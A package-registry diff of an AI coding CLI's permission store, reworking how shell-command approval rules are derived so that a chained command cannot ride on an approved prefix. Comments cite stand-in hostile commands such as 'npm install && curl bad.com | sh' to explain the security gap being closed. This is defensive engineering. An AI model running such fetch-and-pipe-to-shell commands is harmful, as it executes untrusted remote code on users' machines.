@x-code-cli/core 0.2.10 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (258) hide show
  1. package/dist/agent/compression.d.ts +12 -2
  2. package/dist/agent/compression.d.ts.map +1 -1
  3. package/dist/agent/compression.js +51 -2
  4. package/dist/agent/compression.js.map +1 -1
  5. package/dist/agent/file-ingest.js +2 -2
  6. package/dist/agent/file-ingest.js.map +1 -1
  7. package/dist/agent/loop-state.d.ts +3 -2
  8. package/dist/agent/loop-state.d.ts.map +1 -1
  9. package/dist/agent/loop-state.js.map +1 -1
  10. package/dist/agent/loop.d.ts.map +1 -1
  11. package/dist/agent/loop.js +134 -5
  12. package/dist/agent/loop.js.map +1 -1
  13. package/dist/agent/memory-extractor.js +5 -5
  14. package/dist/agent/memory-extractor.js.map +1 -1
  15. package/dist/agent/plan-storage.js +1 -1
  16. package/dist/agent/plan-storage.js.map +1 -1
  17. package/dist/agent/sub-agents/index.d.ts +2 -1
  18. package/dist/agent/sub-agents/index.d.ts.map +1 -1
  19. package/dist/agent/sub-agents/index.js +1 -1
  20. package/dist/agent/sub-agents/index.js.map +1 -1
  21. package/dist/agent/sub-agents/loader.d.ts +13 -3
  22. package/dist/agent/sub-agents/loader.d.ts.map +1 -1
  23. package/dist/agent/sub-agents/loader.js +36 -9
  24. package/dist/agent/sub-agents/loader.js.map +1 -1
  25. package/dist/agent/sub-agents/registry.d.ts +18 -1
  26. package/dist/agent/sub-agents/registry.d.ts.map +1 -1
  27. package/dist/agent/sub-agents/registry.js +38 -5
  28. package/dist/agent/sub-agents/registry.js.map +1 -1
  29. package/dist/agent/sub-agents/runner.d.ts.map +1 -1
  30. package/dist/agent/sub-agents/runner.js +45 -1
  31. package/dist/agent/sub-agents/runner.js.map +1 -1
  32. package/dist/agent/sub-agents/types.d.ts +4 -1
  33. package/dist/agent/sub-agents/types.d.ts.map +1 -1
  34. package/dist/agent/system-prompt.d.ts +21 -0
  35. package/dist/agent/system-prompt.d.ts.map +1 -1
  36. package/dist/agent/system-prompt.js +68 -2
  37. package/dist/agent/system-prompt.js.map +1 -1
  38. package/dist/agent/tool-execution.d.ts.map +1 -1
  39. package/dist/agent/tool-execution.js +220 -1
  40. package/dist/agent/tool-execution.js.map +1 -1
  41. package/dist/commands/index.d.ts +6 -0
  42. package/dist/commands/index.d.ts.map +1 -0
  43. package/dist/commands/index.js +3 -0
  44. package/dist/commands/index.js.map +1 -0
  45. package/dist/commands/loader.d.ts +19 -0
  46. package/dist/commands/loader.d.ts.map +1 -0
  47. package/dist/commands/loader.js +109 -0
  48. package/dist/commands/loader.js.map +1 -0
  49. package/dist/commands/registry.d.ts +44 -0
  50. package/dist/commands/registry.d.ts.map +1 -0
  51. package/dist/commands/registry.js +102 -0
  52. package/dist/commands/registry.js.map +1 -0
  53. package/dist/commands/types.d.ts +23 -0
  54. package/dist/commands/types.d.ts.map +1 -0
  55. package/dist/commands/types.js +26 -0
  56. package/dist/commands/types.js.map +1 -0
  57. package/dist/config/index.d.ts +9 -0
  58. package/dist/config/index.d.ts.map +1 -1
  59. package/dist/config/index.js +12 -10
  60. package/dist/config/index.js.map +1 -1
  61. package/dist/hooks/bus.d.ts +54 -0
  62. package/dist/hooks/bus.d.ts.map +1 -0
  63. package/dist/hooks/bus.js +165 -0
  64. package/dist/hooks/bus.js.map +1 -0
  65. package/dist/hooks/config-schema.d.ts +854 -0
  66. package/dist/hooks/config-schema.d.ts.map +1 -0
  67. package/dist/hooks/config-schema.js +79 -0
  68. package/dist/hooks/config-schema.js.map +1 -0
  69. package/dist/hooks/executor.d.ts +16 -0
  70. package/dist/hooks/executor.d.ts.map +1 -0
  71. package/dist/hooks/executor.js +183 -0
  72. package/dist/hooks/executor.js.map +1 -0
  73. package/dist/hooks/index.d.ts +10 -0
  74. package/dist/hooks/index.d.ts.map +1 -0
  75. package/dist/hooks/index.js +6 -0
  76. package/dist/hooks/index.js.map +1 -0
  77. package/dist/hooks/registry.d.ts +23 -0
  78. package/dist/hooks/registry.d.ts.map +1 -0
  79. package/dist/hooks/registry.js +49 -0
  80. package/dist/hooks/registry.js.map +1 -0
  81. package/dist/hooks/types.d.ts +165 -0
  82. package/dist/hooks/types.d.ts.map +1 -0
  83. package/dist/hooks/types.js +25 -0
  84. package/dist/hooks/types.js.map +1 -0
  85. package/dist/hooks/variables.d.ts +22 -0
  86. package/dist/hooks/variables.d.ts.map +1 -0
  87. package/dist/hooks/variables.js +80 -0
  88. package/dist/hooks/variables.js.map +1 -0
  89. package/dist/index.d.ts +57 -2
  90. package/dist/index.d.ts.map +1 -1
  91. package/dist/index.js +38 -2
  92. package/dist/index.js.map +1 -1
  93. package/dist/knowledge/auto-memory.d.ts +1 -1
  94. package/dist/knowledge/auto-memory.d.ts.map +1 -1
  95. package/dist/knowledge/auto-memory.js +10 -10
  96. package/dist/knowledge/auto-memory.js.map +1 -1
  97. package/dist/knowledge/loader.js +12 -12
  98. package/dist/knowledge/loader.js.map +1 -1
  99. package/dist/mcp/arg-parser.d.ts +49 -0
  100. package/dist/mcp/arg-parser.d.ts.map +1 -0
  101. package/dist/mcp/arg-parser.js +357 -0
  102. package/dist/mcp/arg-parser.js.map +1 -0
  103. package/dist/mcp/client.d.ts +73 -0
  104. package/dist/mcp/client.d.ts.map +1 -0
  105. package/dist/mcp/client.js +376 -0
  106. package/dist/mcp/client.js.map +1 -0
  107. package/dist/mcp/config-schema.d.ts +64 -0
  108. package/dist/mcp/config-schema.d.ts.map +1 -0
  109. package/dist/mcp/config-schema.js +86 -0
  110. package/dist/mcp/config-schema.js.map +1 -0
  111. package/dist/mcp/config-writer.d.ts +41 -0
  112. package/dist/mcp/config-writer.d.ts.map +1 -0
  113. package/dist/mcp/config-writer.js +138 -0
  114. package/dist/mcp/config-writer.js.map +1 -0
  115. package/dist/mcp/env-safety.d.ts +12 -0
  116. package/dist/mcp/env-safety.d.ts.map +1 -0
  117. package/dist/mcp/env-safety.js +80 -0
  118. package/dist/mcp/env-safety.js.map +1 -0
  119. package/dist/mcp/expand-env.d.ts +14 -0
  120. package/dist/mcp/expand-env.d.ts.map +1 -0
  121. package/dist/mcp/expand-env.js +52 -0
  122. package/dist/mcp/expand-env.js.map +1 -0
  123. package/dist/mcp/loader.d.ts +81 -0
  124. package/dist/mcp/loader.d.ts.map +1 -0
  125. package/dist/mcp/loader.js +223 -0
  126. package/dist/mcp/loader.js.map +1 -0
  127. package/dist/mcp/name-mangling.d.ts +11 -0
  128. package/dist/mcp/name-mangling.d.ts.map +1 -0
  129. package/dist/mcp/name-mangling.js +82 -0
  130. package/dist/mcp/name-mangling.js.map +1 -0
  131. package/dist/mcp/oauth/callback-server.d.ts +25 -0
  132. package/dist/mcp/oauth/callback-server.d.ts.map +1 -0
  133. package/dist/mcp/oauth/callback-server.js +118 -0
  134. package/dist/mcp/oauth/callback-server.js.map +1 -0
  135. package/dist/mcp/oauth/provider.d.ts +80 -0
  136. package/dist/mcp/oauth/provider.d.ts.map +1 -0
  137. package/dist/mcp/oauth/provider.js +292 -0
  138. package/dist/mcp/oauth/provider.js.map +1 -0
  139. package/dist/mcp/oauth/token-storage.d.ts +42 -0
  140. package/dist/mcp/oauth/token-storage.d.ts.map +1 -0
  141. package/dist/mcp/oauth/token-storage.js +121 -0
  142. package/dist/mcp/oauth/token-storage.js.map +1 -0
  143. package/dist/mcp/permissions.d.ts +28 -0
  144. package/dist/mcp/permissions.d.ts.map +1 -0
  145. package/dist/mcp/permissions.js +105 -0
  146. package/dist/mcp/permissions.js.map +1 -0
  147. package/dist/mcp/registry.d.ts +150 -0
  148. package/dist/mcp/registry.d.ts.map +1 -0
  149. package/dist/mcp/registry.js +334 -0
  150. package/dist/mcp/registry.js.map +1 -0
  151. package/dist/mcp/resources.d.ts +7 -0
  152. package/dist/mcp/resources.d.ts.map +1 -0
  153. package/dist/mcp/resources.js +40 -0
  154. package/dist/mcp/resources.js.map +1 -0
  155. package/dist/mcp/tool-bridge.d.ts +16 -0
  156. package/dist/mcp/tool-bridge.d.ts.map +1 -0
  157. package/dist/mcp/tool-bridge.js +56 -0
  158. package/dist/mcp/tool-bridge.js.map +1 -0
  159. package/dist/mcp/trust.d.ts +31 -0
  160. package/dist/mcp/trust.d.ts.map +1 -0
  161. package/dist/mcp/trust.js +103 -0
  162. package/dist/mcp/trust.js.map +1 -0
  163. package/dist/mcp/types.d.ts +73 -0
  164. package/dist/mcp/types.d.ts.map +1 -0
  165. package/dist/mcp/types.js +13 -0
  166. package/dist/mcp/types.js.map +1 -0
  167. package/dist/permissions/index.d.ts +1 -1
  168. package/dist/permissions/index.d.ts.map +1 -1
  169. package/dist/permissions/index.js +10 -4
  170. package/dist/permissions/index.js.map +1 -1
  171. package/dist/permissions/session-store.d.ts +79 -17
  172. package/dist/permissions/session-store.d.ts.map +1 -1
  173. package/dist/permissions/session-store.js +298 -38
  174. package/dist/permissions/session-store.js.map +1 -1
  175. package/dist/plugins/consent.d.ts +87 -0
  176. package/dist/plugins/consent.d.ts.map +1 -0
  177. package/dist/plugins/consent.js +181 -0
  178. package/dist/plugins/consent.js.map +1 -0
  179. package/dist/plugins/enable-state.d.ts +34 -0
  180. package/dist/plugins/enable-state.d.ts.map +1 -0
  181. package/dist/plugins/enable-state.js +159 -0
  182. package/dist/plugins/enable-state.js.map +1 -0
  183. package/dist/plugins/installer.d.ts +64 -0
  184. package/dist/plugins/installer.d.ts.map +1 -0
  185. package/dist/plugins/installer.js +416 -0
  186. package/dist/plugins/installer.js.map +1 -0
  187. package/dist/plugins/integration.d.ts +91 -0
  188. package/dist/plugins/integration.d.ts.map +1 -0
  189. package/dist/plugins/integration.js +233 -0
  190. package/dist/plugins/integration.js.map +1 -0
  191. package/dist/plugins/loader.d.ts +69 -0
  192. package/dist/plugins/loader.d.ts.map +1 -0
  193. package/dist/plugins/loader.js +243 -0
  194. package/dist/plugins/loader.js.map +1 -0
  195. package/dist/plugins/manifest.d.ts +23 -0
  196. package/dist/plugins/manifest.d.ts.map +1 -0
  197. package/dist/plugins/manifest.js +143 -0
  198. package/dist/plugins/manifest.js.map +1 -0
  199. package/dist/plugins/marketplace.d.ts +103 -0
  200. package/dist/plugins/marketplace.d.ts.map +1 -0
  201. package/dist/plugins/marketplace.js +532 -0
  202. package/dist/plugins/marketplace.js.map +1 -0
  203. package/dist/plugins/paths.d.ts +44 -0
  204. package/dist/plugins/paths.d.ts.map +1 -0
  205. package/dist/plugins/paths.js +89 -0
  206. package/dist/plugins/paths.js.map +1 -0
  207. package/dist/plugins/refresh.d.ts +61 -0
  208. package/dist/plugins/refresh.d.ts.map +1 -0
  209. package/dist/plugins/refresh.js +98 -0
  210. package/dist/plugins/refresh.js.map +1 -0
  211. package/dist/plugins/registry.d.ts +40 -0
  212. package/dist/plugins/registry.d.ts.map +1 -0
  213. package/dist/plugins/registry.js +80 -0
  214. package/dist/plugins/registry.js.map +1 -0
  215. package/dist/plugins/types.d.ts +225 -0
  216. package/dist/plugins/types.d.ts.map +1 -0
  217. package/dist/plugins/types.js +16 -0
  218. package/dist/plugins/types.js.map +1 -0
  219. package/dist/plugins/user-config.d.ts +22 -0
  220. package/dist/plugins/user-config.d.ts.map +1 -0
  221. package/dist/plugins/user-config.js +96 -0
  222. package/dist/plugins/user-config.js.map +1 -0
  223. package/dist/skills/loader.d.ts +19 -0
  224. package/dist/skills/loader.d.ts.map +1 -0
  225. package/dist/skills/loader.js +197 -0
  226. package/dist/skills/loader.js.map +1 -0
  227. package/dist/skills/registry.d.ts +74 -0
  228. package/dist/skills/registry.d.ts.map +1 -0
  229. package/dist/skills/registry.js +136 -0
  230. package/dist/skills/registry.js.map +1 -0
  231. package/dist/skills/settings.d.ts +13 -0
  232. package/dist/skills/settings.d.ts.map +1 -0
  233. package/dist/skills/settings.js +100 -0
  234. package/dist/skills/settings.js.map +1 -0
  235. package/dist/tools/activate-skill.d.ts +5 -0
  236. package/dist/tools/activate-skill.d.ts.map +1 -0
  237. package/dist/tools/activate-skill.js +33 -0
  238. package/dist/tools/activate-skill.js.map +1 -0
  239. package/dist/tools/index.d.ts +1 -1
  240. package/dist/tools/shell-utils.d.ts.map +1 -1
  241. package/dist/tools/shell-utils.js +157 -6
  242. package/dist/tools/shell-utils.js.map +1 -1
  243. package/dist/tools/todo-write.d.ts +1 -1
  244. package/dist/tools/web-fetch.d.ts.map +1 -1
  245. package/dist/tools/web-fetch.js +2 -1
  246. package/dist/tools/web-fetch.js.map +1 -1
  247. package/dist/types/index.d.ts +46 -1
  248. package/dist/types/index.d.ts.map +1 -1
  249. package/dist/types/index.js.map +1 -1
  250. package/dist/utils.d.ts +23 -2
  251. package/dist/utils.d.ts.map +1 -1
  252. package/dist/utils.js +76 -20
  253. package/dist/utils.js.map +1 -1
  254. package/dist/version.d.ts +2 -0
  255. package/dist/version.d.ts.map +1 -0
  256. package/dist/version.js +47 -0
  257. package/dist/version.js.map +1 -0
  258. package/package.json +2 -1
@@ -6,6 +6,7 @@
6
6
  // are loaded so approvals survive across sessions.
7
7
  import * as fs from 'node:fs';
8
8
  import * as path from 'node:path';
9
+ import { isReadOnly, splitShellCommands } from '../tools/shell-utils.js';
9
10
  import { XCODE_DIR } from '../utils.js';
10
11
  // Env-var assignment prefix: VAR=value (unquoted, safe chars only).
11
12
  // The capture group exposes the name so the whitelist can decide whether
@@ -129,6 +130,21 @@ const GLOBAL_FLAGS = {
129
130
  // Subcommand-name shape: lowercase letter, then [a-z0-9-]. Hyphens only
130
131
  // internal (no trailing dash). Filters out `-flag`, `/flag`, and paths.
131
132
  const SUBCOMMAND_RE = /^[a-z][a-z0-9]*(-[a-z0-9]+)*$/;
133
+ // PowerShell Verb-Noun cmdlet shape: `Get-ChildItem`, `Sort-Object`,
134
+ // `Invoke-WebRequest`, … One Verb segment (initial-cap + lowercase),
135
+ // then ≥1 Noun segments separated by `-`. Each Noun must also start
136
+ // with a capital letter so we don't accept `git-foo` (Unix-style command
137
+ // with a dash) — those should keep going through the POSIX subcommand
138
+ // path. The whole token is the prefix on its own: cmdlets take
139
+ // `-Parameter Value` arguments, not subcommands.
140
+ const VERB_NOUN_CMDLET_RE = /^[A-Z][a-z]+(?:-[A-Z][A-Za-z0-9]*)+$/;
141
+ // Compound-segment heads we treat as setup-only (a directory change
142
+ // preceding the "real" command). Approving `cd D:\foo && npm test`
143
+ // should anchor on `npm test`, not on the literal cd. Matches both
144
+ // POSIX (`cd`, `pushd`, `popd`, `chdir`) and PowerShell (`Set-Location`,
145
+ // `Push-Location`, `Pop-Location` plus their `sl`/`pushd`/`popd`
146
+ // aliases). Case-insensitive because PowerShell is.
147
+ const CD_LIKE_RE = /^(?:cd|chdir|pushd|popd|set-location|push-location|pop-location|sl)\b/i;
132
148
  // Detects the `powershell` / `powershell.exe` / `pwsh` invocation prefix.
133
149
  // We don't try to match the WHOLE shape here — agents use a lot of flag
134
150
  // variations (`-NoProfile`, `-ExecutionPolicy Bypass`, `-File foo.ps1`,
@@ -159,6 +175,22 @@ const PS_INNER_CMD_RE = /["']?\s*(?:&\s*\{?\s*)?([A-Za-z][A-Za-z0-9]*(?:-[A-Za-z
159
175
  * 'powershell -ExecutionPolicy Bypass -c "git status"' → 'git'
160
176
  * 'pwsh -Command "& { Get-Process }"' → 'Get-Process'
161
177
  * 'powershell -Command Get-Date' → 'Get-Date'
178
+ * 'Get-ChildItem -Recurse -Filter *.ts' → 'Get-ChildItem'
179
+ * 'Invoke-WebRequest -Uri http://api' → 'Invoke-WebRequest'
180
+ * 'cd /tmp && npm test' → 'npm test'
181
+ * 'cd D:\\foo && npx tsc --noEmit | head -40' → 'npx tsc'
182
+ * 'Set-Location D:\\foo; Get-ChildItem -Recurse | Sort-Object Name'
183
+ * → 'Get-ChildItem'
184
+ * 'npm install && curl bad.com' → null
185
+ * (two distinct
186
+ * non-readonly
187
+ * segments — no
188
+ * shared prefix,
189
+ * fall back to
190
+ * exact)
191
+ * 'git commit -m a && git push' → null (segments
192
+ * disagree on
193
+ * prefix)
162
194
  * 'ls -la' → null
163
195
  * '' → null
164
196
  */
@@ -166,11 +198,54 @@ export function extractCommandPrefix(command) {
166
198
  const cmd = command.trim();
167
199
  if (!cmd)
168
200
  return null;
169
- // PowerShell first its argument syntax doesn't follow the POSIX
170
- // VAR=value convention so the env-var stripping below doesn't apply.
201
+ // PowerShell launcher commands (`powershell.exe -Command "..."`) own
202
+ // the entire string the inner script may contain `;` and `|`, which
203
+ // splitShellCommands would mis-split. Handle them first and short-circuit.
171
204
  if (POWERSHELL_LAUNCHER_RE.test(cmd)) {
172
205
  return extractPowershellPrefix(cmd);
173
206
  }
207
+ // Compound commands (`;`, `&&`, `||`, `|`): derive a prefix only when
208
+ // every non-read-only segment agrees on the same prefix. Read-only
209
+ // segments (`cd /foo`, `head -40`, `Sort-Object Name`, …) are setup
210
+ // or display-only — they're skipped, so `cd /foo && npm test` anchors
211
+ // on `npm test`, but `git commit && git push` returns null because
212
+ // approving "git commit" must not auto-approve "git push".
213
+ //
214
+ // Splitting first also closes a security gap: without it, the old
215
+ // single-segment extractor would have happily returned `npm install`
216
+ // for `npm install && curl bad.com | sh`, letting an approved
217
+ // `npm install:*` rule silently approve the curl-and-pipe-to-sh tail.
218
+ // (`curl … | sh` itself is caught by isDestructive, but the principle
219
+ // generalises — any non-readonly second segment can't be trusted under
220
+ // a first segment's rule.)
221
+ const segments = splitShellCommands(cmd);
222
+ if (segments.length > 1) {
223
+ let derived = null;
224
+ for (const seg of segments) {
225
+ if (isReadOnly(seg) || CD_LIKE_RE.test(seg.trim()))
226
+ continue;
227
+ const segPrefix = extractSingleCommandPrefix(seg);
228
+ if (!segPrefix)
229
+ return null;
230
+ if (derived === null)
231
+ derived = segPrefix;
232
+ else if (derived !== segPrefix)
233
+ return null;
234
+ }
235
+ return derived;
236
+ }
237
+ return extractSingleCommandPrefix(cmd);
238
+ }
239
+ /**
240
+ * Extract a prefix from a single shell command (no compound operators).
241
+ * Internal worker for {@link extractCommandPrefix}; assumes the caller
242
+ * has already split on `;` / `&&` / `||` / `|` and is passing one
243
+ * segment at a time.
244
+ */
245
+ function extractSingleCommandPrefix(command) {
246
+ const cmd = command.trim();
247
+ if (!cmd)
248
+ return null;
174
249
  const tokens = cmd.split(/\s+/).filter(Boolean);
175
250
  if (tokens.length === 0)
176
251
  return null;
@@ -198,6 +273,20 @@ export function extractCommandPrefix(command) {
198
273
  i++;
199
274
  }
200
275
  const rest = tokens.slice(i);
276
+ if (rest.length === 0)
277
+ return null;
278
+ // PowerShell cmdlets (Verb-Noun like `Get-ChildItem`) are their own
279
+ // prefix: cmdlets don't have subcommands the way `git`/`docker` do,
280
+ // they take `-Parameter` arguments. The previous code was waiting for
281
+ // a SUBCOMMAND_RE-shaped second token and silently returning null on
282
+ // anything like `Get-ChildItem -Recurse …`. Recognise the cmdlet
283
+ // shape and return it directly. This deliberately runs BEFORE the
284
+ // `rest.length < 2` gate so a bare `Get-Process` is also a valid
285
+ // prefix (single-cmdlet rules like `Get-ChildItem:*` are the analogue
286
+ // of `git status:*` for the PowerShell side).
287
+ if (VERB_NOUN_CMDLET_RE.test(rest[0])) {
288
+ return rest[0];
289
+ }
201
290
  if (rest.length < 2)
202
291
  return null;
203
292
  const firstLower = rest[0].toLowerCase();
@@ -284,46 +373,172 @@ function extractPowershellPrefix(cmd) {
284
373
  const m = PS_INNER_CMD_RE.exec(inner);
285
374
  return m?.[1] ?? null;
286
375
  }
376
+ /**
377
+ * Like {@link extractCommandPrefix} but for compound commands returns the
378
+ * full set of distinct prefixes — one per non-read-only, non-cd segment.
379
+ *
380
+ * Returns `null` if any non-read-only segment has no derivable prefix
381
+ * (the caller has a richer fallback via {@link extractCompoundRules} now)
382
+ * or if every segment was filtered out as read-only / cd-like (mostly
383
+ * defensive — those auto-allow upstream).
384
+ *
385
+ * Kept exported for compatibility with consumers that only need the
386
+ * prefix list — current internal callers use the richer
387
+ * {@link extractCompoundRules}.
388
+ */
389
+ export function extractCompoundPrefixes(command) {
390
+ const cmd = command.trim();
391
+ if (!cmd)
392
+ return null;
393
+ if (POWERSHELL_LAUNCHER_RE.test(cmd)) {
394
+ const p = extractPowershellPrefix(cmd);
395
+ return p ? [p] : null;
396
+ }
397
+ const segments = splitShellCommands(cmd);
398
+ if (segments.length === 0)
399
+ return null;
400
+ const seen = new Set();
401
+ const out = [];
402
+ for (const seg of segments) {
403
+ if (isReadOnly(seg) || CD_LIKE_RE.test(seg.trim()))
404
+ continue;
405
+ const p = extractSingleCommandPrefix(seg);
406
+ if (!p)
407
+ return null;
408
+ if (!seen.has(p)) {
409
+ seen.add(p);
410
+ out.push(p);
411
+ }
412
+ }
413
+ return out.length === 0 ? null : out;
414
+ }
415
+ /**
416
+ * Per-segment rule extraction for compound commands. Returns one rule
417
+ * per non-read-only, non-cd segment:
418
+ * - prefix rule when the segment has a derivable prefix (e.g.
419
+ * `git commit -m foo` → `{ type: 'prefix', pattern: 'git commit' }`)
420
+ * - segment-level exact rule otherwise (e.g. `curl evil.com` →
421
+ * `{ type: 'exact', pattern: 'curl evil.com' }`)
422
+ *
423
+ * The mix is the point: `git commit && curl evil.com` was previously
424
+ * collapsing to a single full-command exact-match because `curl evil.com`
425
+ * has no prefix, throwing away the perfectly-derivable `git commit:*`.
426
+ * The label now reads `git commit:*, curl evil.com` and one click saves
427
+ * both rules. The matcher accepts an exact rule either against the full
428
+ * command (legacy) or against any non-readonly segment, so future
429
+ * `cd /tmp && git commit -m b && curl evil.com` auto-approves cleanly.
430
+ *
431
+ * Returns `null` if no segment yielded a rule (all-readonly compounds —
432
+ * auto-allowed upstream, never reaches us in practice) or if we hit a
433
+ * non-whitelisted env-var prefix that disqualifies the segment (same
434
+ * security gate as the single-cmd path).
435
+ */
436
+ export function extractCompoundRules(command) {
437
+ const cmd = command.trim();
438
+ if (!cmd)
439
+ return null;
440
+ if (POWERSHELL_LAUNCHER_RE.test(cmd)) {
441
+ const p = extractPowershellPrefix(cmd);
442
+ return p ? [{ tool: 'shell', pattern: p, type: 'prefix' }] : null;
443
+ }
444
+ const segments = splitShellCommands(cmd);
445
+ if (segments.length === 0)
446
+ return null;
447
+ const seen = new Set();
448
+ const out = [];
449
+ for (const seg of segments) {
450
+ const trimmed = seg.trim();
451
+ if (isReadOnly(trimmed) || CD_LIKE_RE.test(trimmed))
452
+ continue;
453
+ const prefix = extractSingleCommandPrefix(trimmed);
454
+ if (prefix) {
455
+ const key = `prefix:${prefix}`;
456
+ if (!seen.has(key)) {
457
+ seen.add(key);
458
+ out.push({ tool: 'shell', pattern: prefix, type: 'prefix' });
459
+ }
460
+ continue;
461
+ }
462
+ // No prefix — fall back to a segment-level exact rule. Strip safe
463
+ // env-vars so the matcher key stays canonical; reject if a
464
+ // non-whitelisted env-var assignment is present (same posture as
465
+ // extractSingleCommandPrefix).
466
+ const headEnv = /^([A-Za-z_]\w*)=/.exec(trimmed);
467
+ if (headEnv && !SAFE_ENV_VARS.has(headEnv[1]))
468
+ return null;
469
+ const exact = stripSafeEnvVars(trimmed);
470
+ if (!exact)
471
+ return null;
472
+ const key = `exact:${exact}`;
473
+ if (!seen.has(key)) {
474
+ seen.add(key);
475
+ out.push({ tool: 'shell', pattern: exact, type: 'exact' });
476
+ }
477
+ }
478
+ return out.length === 0 ? null : out;
479
+ }
287
480
  /**
288
481
  * Generate the display label for the "don't ask again" option.
289
482
  * Returns `null` only for tools where a "don't ask again" affordance
290
483
  * makes no sense (enterPlanMode toggles a mode, not a recurring action).
291
484
  *
292
- * Shell with derivable prefix: `git commit:*`
293
- * Shell without derivable prefix: `this exact command` (exact-match rule —
294
- * covers Windows-style commands like `findstr /n …`, `cmd /c …`,
485
+ * Shell, single derivable prefix: `git commit:*`
486
+ * Shell, multiple derivable prefixes (compound where segments disagree
487
+ * e.g. `git commit && git push`): `git commit:*, git push:*`
488
+ * — the click saves BOTH rules so subsequent compound invocations
489
+ * stop prompting.
490
+ * Shell, no derivable prefix: `this exact command` (exact-match
491
+ * rule — covers Windows-style commands like `findstr /n …`, `cmd /c …`,
295
492
  * `dir /b`, where the second token is a `/flag` or path that fails
296
493
  * the prefix regex; without this fallback the user gets only Yes/No
297
494
  * forever for repeated identical commands).
298
495
  * Write tools (writeFile / edit): `all edits this session` (session-only)
496
+ * MCP tools (isMcp=true): `this MCP tool` (persisted to disk via
497
+ * McpPermissionStore — the label matches that posture, unlike write
498
+ * tools which fall back to session-only).
299
499
  */
300
- export function suggestRuleLabel(toolName, input) {
500
+ export function suggestRuleLabel(toolName, input, isMcp = false) {
301
501
  if (toolName === 'enterPlanMode')
302
502
  return null;
503
+ if (isMcp)
504
+ return 'this MCP tool';
303
505
  if (toolName === 'shell') {
304
506
  const cmd = input.command ?? '';
305
- const prefix = extractCommandPrefix(cmd);
306
- if (prefix)
307
- return `${prefix}:*`;
308
- return 'this exact command';
507
+ const rules = extractCompoundRules(cmd);
508
+ if (!rules || rules.length === 0)
509
+ return 'this exact command';
510
+ // Single rule whose exact pattern equals the full command → keep
511
+ // the legacy concise label rather than echoing the command back at
512
+ // the user. That preserves the readable "this exact command" wording
513
+ // for `findstr /n …` / `cmd /c …` invocations that have no derivable
514
+ // prefix at all.
515
+ if (rules.length === 1) {
516
+ const r = rules[0];
517
+ if (r.type === 'exact' && r.pattern === stripSafeEnvVars(cmd))
518
+ return 'this exact command';
519
+ }
520
+ return rules.map((r) => (r.type === 'prefix' ? `${r.pattern}:*` : r.pattern)).join(', ');
309
521
  }
310
522
  return 'all edits this session';
311
523
  }
312
524
  /**
313
- * Build the AllowRule for a "don't ask again" approval.
525
+ * Build the AllowRule(s) for a "don't ask again" approval.
314
526
  *
315
- * - Shell with derivable prefix (e.g. `git commit`) → prefix rule, persisted
316
- * - Shell without derivable prefix → exact-match rule,
317
- * persisted (mirrors Claude Code's `suggestionForExactCommand`
318
- * fallback in `bashPermissions.ts`). Less reusable than a prefix rule
319
- * (any arg change breaks the match) but at least suppresses repeated
320
- * identical invocations better than "Yes/No forever". The matcher
321
- * compares against `stripEnvVars(cmd)` so leading `NODE_ENV=…` etc.
322
- * don't defeat the rule.
323
- * - writeFile / edit → tool-wide allow,
324
- * session-only (matches Claude Code).
527
+ * - Shell with derivable prefix(es) → one prefix rule per distinct
528
+ * non-read-only segment. `git commit && git push` saves BOTH
529
+ * `git commit:*` and `git push:*` on a single click (matching the
530
+ * compound label shown to the user). Persisted to disk.
531
+ * - Shell without derivable prefix → single exact-match rule, persisted
532
+ * (mirrors Claude Code's `suggestionForExactCommand` fallback in
533
+ * `bashPermissions.ts`). Less reusable than a prefix rule (any arg
534
+ * change breaks the match) but at least suppresses repeated identical
535
+ * invocations better than "Yes/No forever". The matcher compares
536
+ * against `stripEnvVars(cmd)` so leading `NODE_ENV=…` etc. don't defeat
537
+ * the rule.
538
+ * - writeFile / edit → single tool-wide allow, session-only (matches
539
+ * Claude Code).
325
540
  *
326
- * `persist` indicates whether the rule should be saved to disk. Write
541
+ * `persist` indicates whether the rules should be saved to disk. Write
327
542
  * tools return persist=false; everything else returns persist=true.
328
543
  * Returns `null` only for the very few cases where no rule shape applies
329
544
  * (currently nothing — kept in the signature so callers stay defensive).
@@ -331,9 +546,9 @@ export function suggestRuleLabel(toolName, input) {
331
546
  export function buildAllowRule(toolName, input) {
332
547
  if (toolName === 'shell') {
333
548
  const cmd = input.command ?? '';
334
- const prefix = extractCommandPrefix(cmd);
335
- if (prefix) {
336
- return { rule: { tool: toolName, pattern: prefix, type: 'prefix' }, persist: true };
549
+ const rules = extractCompoundRules(cmd);
550
+ if (rules && rules.length > 0) {
551
+ return { rules, persist: true };
337
552
  }
338
553
  // Strip *safe* env-var prefixes only — same key the matcher compares
339
554
  // against (stripSafeEnvVars). Non-whitelisted assignments stay in the
@@ -342,9 +557,9 @@ export function buildAllowRule(toolName, input) {
342
557
  const exact = stripSafeEnvVars(cmd);
343
558
  if (!exact)
344
559
  return null;
345
- return { rule: { tool: toolName, pattern: exact, type: 'exact' }, persist: true };
560
+ return { rules: [{ tool: toolName, pattern: exact, type: 'exact' }], persist: true };
346
561
  }
347
- return { rule: { tool: toolName, pattern: '*', type: 'tool' }, persist: false };
562
+ return { rules: [{ tool: toolName, pattern: '*', type: 'tool' }], persist: false };
348
563
  }
349
564
  function stripSafeEnvVars(command) {
350
565
  let cmd = command.trim();
@@ -393,25 +608,70 @@ class SessionPermissionStore {
393
608
  this.rules.push(rule);
394
609
  }
395
610
  matches(toolName, input) {
611
+ if (toolName !== 'shell') {
612
+ // Non-shell tools: tool-wide allow is the only rule shape we
613
+ // currently emit. Exact / prefix are shell-only.
614
+ for (const rule of this.rules) {
615
+ if (rule.tool !== toolName)
616
+ continue;
617
+ if (rule.type === 'tool')
618
+ return true;
619
+ }
620
+ return false;
621
+ }
622
+ const cmd = input.command ?? '';
623
+ // First pass: tool-wide and exact rules operate on the full command
624
+ // string. (A user could in principle approve a destructive command
625
+ // exactly; we honour that.)
396
626
  for (const rule of this.rules) {
397
627
  if (rule.tool !== toolName)
398
628
  continue;
399
629
  if (rule.type === 'tool')
400
630
  return true;
401
- if (toolName === 'shell') {
402
- const cmd = input.command ?? '';
403
- const prefix = extractCommandPrefix(cmd);
404
- if (rule.type === 'exact' && stripSafeEnvVars(cmd) === rule.pattern)
405
- return true;
406
- if (rule.type === 'prefix' && prefix) {
407
- if (prefix === rule.pattern)
408
- return true;
409
- if (prefix.startsWith(rule.pattern + ' '))
410
- return true;
631
+ if (rule.type === 'exact' && stripSafeEnvVars(cmd) === rule.pattern)
632
+ return true;
633
+ }
